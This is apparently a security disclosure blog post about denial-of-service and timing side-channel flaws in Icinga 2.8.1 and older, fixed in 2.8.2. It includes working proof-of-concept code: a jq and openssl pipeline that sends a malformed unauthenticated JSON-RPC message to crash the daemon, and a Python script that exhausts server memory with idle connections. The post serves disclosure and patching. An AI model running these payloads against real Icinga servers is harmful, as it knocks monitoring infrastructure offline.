Icinga 2.8.2 resolves multiple security vulnerabilities

While working as a Site Reliability Engineer things might occur which shouldn’t be. That’s just how it was in mid-January 2018 while working on a personal project to set up an Icinga2 installation. I tried using the Icinga2 scripting language console to call an internal function on a CheckCommand object:

get_check_command("dummy").execute(null, null, null, false)

Surprisingly this led to a crash of the Icinga2 daemon due to dereferencing a NULL pointer. A cursory look at the source code confirmed my suspicion that this and other functions callable from scripts don’t verify their parameters as they should.

Gentlemen, you had my curiosity. But now you have my attention.

My interest was piqued so I went on to attempt to provoke the NULL pointer dereference via the Icinga2 API. Unfortunately I didn’t find a way without an authenticated user with the “console” permission granted.

Shortly after this I found a series of problems, all triggerable via a network connection and which can be classified as Denial of Service (DoS). Multiple API endpoints wouldn’t verify their parameters before dereferencing. The following code doesn’t require any authentication and causes all Icinga versions before 2.8.2 to terminate:

msg=$(jq --null-input --compact-output --raw-output '{
  "id": "foo",
  "jsonrpc": "2.0",
  "method": "event::Heartbeat",
  "params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665

All cases I found are documented in my security advisory. A few require a client certificate, others require a specific master/client constellation.

While reading the code I also found ways to provoke the Icinga2 server to consume unbounded resources, primarily RAM. The following piece of Python code opens a large number of TCP connections. Each starts a new thread in the Icinga2 daemon which along with its associated stack consumes a certain amount of RAM. The connections are left untouched and never terminated.

import resource
import socket
import time

resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072))

conn = []

while True:
    try:
        conn.append(socket.create_connection(('192.0.2.1', 5665)))
    except BaseException as err:
        print(err)
        break

print(len(conn))

while True:
    time.sleep(1)

Depending on the amount of available resources on the server the Linux kernel’s OOM killer will soon terminate the Icinga2 daemon, resulting again in denial of service.

What I also found was that passwords are compared with std::string::operator==. That function, just like its C equivalent strcmp, terminates as soon as it finds a difference. An attacker can use slight timing differences to carry out a side-channel attack.

I have published a technical advisory with full details on the security issues in Icinga 2.8.1 and older on my personal website. Version 2.8.2 of Icinga resolves these and a few others. VSHN has updated Icinga2 on all customer systems already.